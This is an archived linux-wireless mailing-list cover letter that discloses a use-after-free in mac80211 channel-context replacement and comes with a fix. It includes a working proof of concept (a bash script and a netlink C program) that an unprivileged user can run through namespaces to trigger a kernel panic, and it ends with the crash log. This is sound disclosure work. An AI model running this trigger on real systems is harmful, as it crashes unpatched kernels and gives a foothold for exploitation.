Linux wireless drivers development
 help / color / mirror / Atom feed
* [PATCH wireless 0/1] wifi: mac80211: keep paired old chanctx alive
@ 2026-08-03  4:35 Zhiling Zou
  2026-08-03  4:35 ` [PATCH wireless 1/1] " Zhiling Zou
  2026-08-03  8:40 ` [PATCH wireless 0/1] " Johannes Berg
  0 siblings, 2 replies; 4+ messages in thread
From: Zhiling Zou @ 2026-08-03  4:35 UTC (permalink / raw)
  To: linux-wireless; +Cc: johannes, michal.kazior, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated a issue in net/mac80211/chan.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ieee80211_replace_chanctx() creates reciprocal raw replace_ctx pointers between
the old WILL_BE_REPLACED chanctx and the new REPLACES_OTHER chanctx.

The early free paths only count assigned and reserved link users. That misses
the live replacement-partner relationship, so the old chanctx can be freed too
early while the replacement partner still points back to it.

This can happen when the last assigned link leaves through
__ieee80211_link_release_channel(), and also when it successfully reassigns to
another existing ctx through ieee80211_link_use_reserved_reassign().

Later unreserve and switch-finalization paths still follow replace_ctx, so the
surviving partner can dereference a stale old chanctx pointer.

Reproducer:

    chmod +x ~/poc.sh
    unshare -Urn -- bash -lc 'USE_DEFAULT_VIF=1 ./poc.sh'

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/bash
set -euo pipefail

PATH=/usr/sbin:/usr/bin:/sbin:/bin

tag="${TAG:-$$}"
phy="poc${tag}"
ap0="u0${tag}"
ap1="u1${tag}"
base_if=""
tmpdir="$(mktemp -d /dev/shm/mac80211-uaf.XXXXXX 2>/dev/null || mktemp -d /tmp/mac80211-uaf.XXXXXX)"
ctrldir="${tmpdir}/hostapd"
cleanup_done=0
use_default_vif="${USE_DEFAULT_VIF:-0}"

cleanup() {
	if (( cleanup_done )); then
		return
	fi
	cleanup_done=1
	for pidfile in "${tmpdir}/ap0.pid" "${tmpdir}/ap1.pid"; do
		if [[ -f "${pidfile}" ]]; then
			kill "$(cat "${pidfile}")" 2>/dev/null || true
		fi
	done
	for ifname in "${ap0}" "${ap1}"; do
		ip link del "${ifname}" 2>/dev/null || true
	done
	rm -rf "${tmpdir}"
}
trap cleanup EXIT

if [[ ! -x ./poc ]]; then
	make
fi

mkdir -p "${ctrldir}"

if [[ "${use_default_vif}" == "1" ]]; then
	./poc "${phy}" 2 with-vif
else
	./poc "${phy}" 2
fi

if [[ "${use_default_vif}" == "1" ]]; then
	for _ in $(seq 1 50); do
		base_if="$(iw dev | awk '/Interface / { print $2; exit }')"
		if [[ -n "${base_if}" ]]; then
			break
		fi
		sleep 0.1
	done
	if [[ -z "${base_if}" ]]; then
		echo "failed to discover the default hwsim netdev" >&2
		exit 1
	fi
	ap0="${base_if}"
	iw dev "${ap0}" set type __ap
	iw dev "${ap0}" interface add "${ap1}" type __ap
else
	for _ in $(seq 1 50); do
		if iw phy "${phy}" info >/dev/null 2>&1; then
			break
		fi
		sleep 0.1
	done
	iw phy "${phy}" interface add "${ap0}" type __ap
	iw phy "${phy}" interface add "${ap1}" type __ap
fi

ip link set "${ap0}" up
ip link set "${ap1}" up

cat > "${tmpdir}/ap0.conf" <<EOF
ctrl_interface=${ctrldir}
driver=nl80211
interface=${ap0}
ssid=${ap0}
hw_mode=g
channel=1
beacon_int=100
auth_algs=1
wmm_enabled=0
EOF

cat > "${tmpdir}/ap1.conf" <<EOF
ctrl_interface=${ctrldir}
driver=nl80211
interface=${ap1}
ssid=${ap1}
hw_mode=g
channel=6
beacon_int=100
auth_algs=1
wmm_enabled=0
EOF

hostapd -B -P "${tmpdir}/ap0.pid" -f "${tmpdir}/ap0.log" "${tmpdir}/ap0.conf"
hostapd -B -P "${tmpdir}/ap1.pid" -f "${tmpdir}/ap1.log" "${tmpdir}/ap1.conf"

for _ in $(seq 1 20); do
	if hostapd_cli -p "${ctrldir}" -i "${ap0}" status 2>/dev/null | grep -q '^state=ENABLED$' &&
	   hostapd_cli -p "${ctrldir}" -i "${ap1}" status 2>/dev/null | grep -q '^state=ENABLED$'; then
		break
	fi
	sleep 0.2
done

hostapd_cli -p "${ctrldir}" -i "${ap0}" chan_switch 100 2462
hostapd_cli -p "${ctrldir}" -i "${ap1}" chan_switch 100 2462

sleep 1
hostapd_cli -p "${ctrldir}" -i "${ap0}" disable || true

# The panic is normally immediate. Keep a fallback release for the dependent
# reservation if the first stop only leaves a dangling replace_ctx behind.
sleep 3
hostapd_cli -p "${ctrldir}" -i "${ap1}" disable || true

sleep 1
echo "Trigger sequence completed without an immediate panic."
echo "ap0 log:"
cat "${tmpdir}/ap0.log" || true
echo "ap1 log:"
cat "${tmpdir}/ap1.log" || true

------END poc.sh--------

------BEGIN poc.c------

#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_ATTR_CHANNELS 9
#define HWSIM_ATTR_RADIO_NAME 17
#define HWSIM_ATTR_NO_VIF 18

static void die_nl(int err, const char *what)
{
	fprintf(stderr, "%s: %s (%d)\n", what, nl_geterror(err), err);
	exit(1);
}

int main(int argc, char **argv)
{
	struct nl_sock *sock;
	struct nl_msg *msg;
	const char *name = argc > 1 ? argv[1] : "pocphy";
	unsigned int channels = argc > 2 ? strtoul(argv[2], NULL, 0) : 2;
	bool no_vif = !(argc > 3 && !strcmp(argv[3], "with-vif"));
	int family;
	int err;

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc failed\n");
		return 1;
	}

	err = genl_connect(sock);
	if (err < 0)
		die_nl(err, "genl_connect");

	family = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
	if (family < 0)
		die_nl(family, "genl_ctrl_resolve");

	msg = nlmsg_alloc();
	if (!msg) {
		fprintf(stderr, "nlmsg_alloc failed\n");
		return 1;
	}

	if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family, 0, 0,
			 HWSIM_CMD_NEW_RADIO, 1)) {
		fprintf(stderr, "genlmsg_put failed\n");
		return 1;
	}

	err = nla_put_u32(msg, HWSIM_ATTR_CHANNELS, channels);
	if (err < 0)
		die_nl(err, "nla_put_u32(HWSIM_ATTR_CHANNELS)");

	err = nla_put_string(msg, HWSIM_ATTR_RADIO_NAME, name);
	if (err < 0)
		die_nl(err, "nla_put_string(HWSIM_ATTR_RADIO_NAME)");

	if (no_vif) {
		err = nla_put_flag(msg, HWSIM_ATTR_NO_VIF);
		if (err < 0)
			die_nl(err, "nla_put_flag(HWSIM_ATTR_NO_VIF)");
	}

	err = nl_send_auto(sock, msg);
	if (err < 0)
		die_nl(err, "nl_send_auto");

	err = nl_wait_for_ack(sock);
	if (err < 0)
		fprintf(stderr, "nl_wait_for_ack warning: %s (%d)\n",
			nl_geterror(err), err);

	printf("requested radio %s with %u channels\n", name, channels);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  692.217994][T11630] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  692.219187][T11630] CPU: 3 UID: 1028 PID: 11630 Comm: hostapd Not tainted 6.12.95 #2
[  692.220295][T11630] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  692.221981][T11630] Call Trace:
[  692.222413][T11630]  <TASK>
[  692.222836][T11630]  panic+0x533/0x610
[  692.223460][T11630]  ? __pfx_panic+0x10/0x10
[  692.224176][T11630]  ? ieee80211_del_chanctx+0x35a/0x400
[  692.224895][T11630]  check_panic_on_warn+0x61/0x80
[  692.225571][T11630]  __warn+0xdf/0x2e0
[  692.226120][T11630]  ? ieee80211_del_chanctx+0x35a/0x400
[  692.226850][T11630]  report_bug+0x308/0x3d0
[  692.227502][T11630]  handle_bug+0x111/0x150
[  692.228101][T11630]  exc_invalid_op+0x17/0x50
[  692.228690][T11630]  asm_exc_invalid_op+0x1a/0x20
[  692.229347][T11630] RIP: 0010:ieee80211_del_chanctx+0x35a/0x400
[  692.230200][T11630] Code: 87 2c 60 06 00 0f 85 e1 fd ff ff c6 05 7a 2c 60 06 01 90 48 c7 c7 80 19 ce 8b e8 11 5a 70 f7 90 0f 0b 90 90 e9 c3 fd ff ff 90 <0f> 0b 90 4d 8d b4 24 a0 00 00 00 e9 51 fe ff ff 90 0f 0b 90 e9 82
[  692.232786][T11630] RSP: 0018:ffffc900125cf330 EFLAGS: 00010246
[  692.233593][T11630] RAX: 0000000000000000 RBX: ffff888060878e80 RCX: 0000000000000001
[  692.234648][T11630] RDX: 0000000000000004 RSI: ffffffff8a8c49a0 RDI: ffffffff8aee7960
[  692.235677][T11630] RBP: ffff888101b52654 R08: ffff88806087aaf8 R09: ffff88807d4eb800
[  692.236709][T11630] R10: ffff888061ec56b7 R11: ffff888060878ec0 R12: ffff888101b52600
[  692.237785][T11630] R13: 0000000000000000 R14: ffff888101b52620 R15: ffff88806087aaf8
[  692.238889][T11630]  ieee80211_vif_use_reserved_switch+0x1358/0x1ea0
[  692.239787][T11630]  ? __ieee80211_link_release_channel+0x451/0x4b0
[  692.240672][T11630]  ieee80211_stop_ap+0xa0d/0x14d0
[  692.241426][T11630]  ? __pfx_ieee80211_stop_ap+0x10/0x10
[  692.242172][T11630]  ? trace_kmalloc+0x2b/0xe0
[  692.242788][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.243562][T11630]  ___cfg80211_stop_ap+0x227/0x870
[  692.244331][T11630]  genl_family_rcv_msg_doit+0x1e5/0x2d0
[  692.245090][T11630]  ? __pfx_genl_family_rcv_msg_doit+0x10/0x10
[  692.245885][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.246826][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.247734][T11630]  ? apparmor_capable+0xb9/0x180
[  692.248575][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.249515][T11630]  ? security_capable+0x8a/0x150
[  692.250325][T11630]  genl_rcv_msg+0x42d/0x6f0
[  692.251107][T11630]  ? __pfx_genl_rcv_msg+0x10/0x10
[  692.251913][T11630]  ? __pfx_nl80211_pre_doit+0x10/0x10
[  692.252913][T11630]  ? __pfx_nl80211_stop_ap+0x10/0x10
[  692.253725][T11630]  ? __pfx_nl80211_post_doit+0x10/0x10
[  692.254664][T11630]  ? __pfx___lock_acquire+0x10/0x10
[  692.255547][T11630]  ? find_held_lock+0x2d/0x110
[  692.256402][T11630]  netlink_rcv_skb+0x136/0x370
[  692.257141][T11630]  ? __pfx_genl_rcv_msg+0x10/0x10
[  692.257995][T11630]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  692.258945][T11630]  ? __pfx_netlink_rcv_skb+0x10/0x10
[  692.259842][T11630]  ? rwsem_read_trylock+0x130/0x250
[  692.260748][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.261726][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.262656][T11630]  ? down_read+0xcc/0x330
[  692.263437][T11630]  ? __pfx_down_read+0x10/0x10
[  692.264216][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.265197][T11630]  ? netlink_deliver_tap+0x14b/0xa80
[  692.265948][T11630]  genl_rcv+0x28/0x40
[  692.266660][T11630]  netlink_unicast+0x479/0x790
[  692.267503][T11630]  ? __pfx_netlink_unicast+0x10/0x10
[  692.268295][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.269277][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.270139][T11630]  ? __check_object_size+0x2eb/0x4f0
[  692.271009][T11630]  netlink_sendmsg+0x76e/0xc10
[  692.271736][T11630]  ? __pfx_netlink_sendmsg+0x10/0x10
[  692.272717][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.273593][T11630]  ? apparmor_socket_sendmsg+0x2e/0x200
[  692.274540][T11630]  ____sys_sendmsg+0x818/0xa10
[  692.275337][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.276234][T11630]  ? __pfx_____sys_sendmsg+0x10/0x10
[  692.277099][T11630]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[  692.278070][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.278918][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.279855][T11630]  ? find_held_lock+0x2d/0x110
[  692.280665][T11630]  ___sys_sendmsg+0x105/0x190
[  692.281636][T11630]  ? __pfx_lock_release+0x10/0x10
[  692.282474][T11630]  ? __pfx____sys_sendmsg+0x10/0x10
[  692.283479][T11630]  ? __might_fault+0xb6/0x120
[  692.284327][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.285336][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.286179][T11630]  ? do_sock_setsockopt+0x1ca/0x3b0
[  692.287037][T11630]  ? __pfx_do_sock_setsockopt+0x10/0x10
[  692.287881][T11630]  ? find_held_lock+0x2d/0x110
[  692.288702][T11630]  __sys_sendmsg+0x122/0x1b0
[  692.289458][T11630]  ? __pfx___sys_sendmsg+0x10/0x10
[  692.290366][T11630]  ? srso_alias_return_thunk+0x5/0xfbef5
[  692.291344][T11630]  do_syscall_64+0xc7/0x270
[  692.292109][T11630]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  692.293131][T11630] RIP: 0033:0x7f2f6b09b687
[  692.293940][T11630] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[  692.296916][T11630] RSP: 002b:00007ffce9a23730 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[  692.298264][T11630] RAX: ffffffffffffffda RBX: 00007f2f6b8db740 RCX: 00007f2f6b09b687
[  692.299545][T11630] RDX: 0000000000000000 RSI: 00007ffce9a237b0 RDI: 0000000000000005
[  692.300822][T11630] RBP: 00005565239d7550 R08: 0000000000000000 R09: 0000000000000000
[  692.302169][T11630] R10: 0000000000000000 R11: 0000000000000202 R12: 00005565239d2030
[  692.303395][T11630] R13: 00007ffce9a237b0 R14: 0000000000000000 R15: 00007ffce9a23894
[  692.304731][T11630]  </TASK>
[  692.305856][T11630] Kernel Offset: disabled
[  692.306542][T11630] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  wifi: mac80211: keep paired old chanctx alive

 net/mac80211/chan.c | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-08-03 10:02 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-03  4:35 [PATCH wireless 0/1] wifi: mac80211: keep paired old chanctx alive Zhiling Zou
2026-08-03  4:35 ` [PATCH wireless 1/1] " Zhiling Zou
2026-08-03  8:40 ` [PATCH wireless 0/1] " Johannes Berg
2026-08-03 10:01   ` Johannes Berg

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox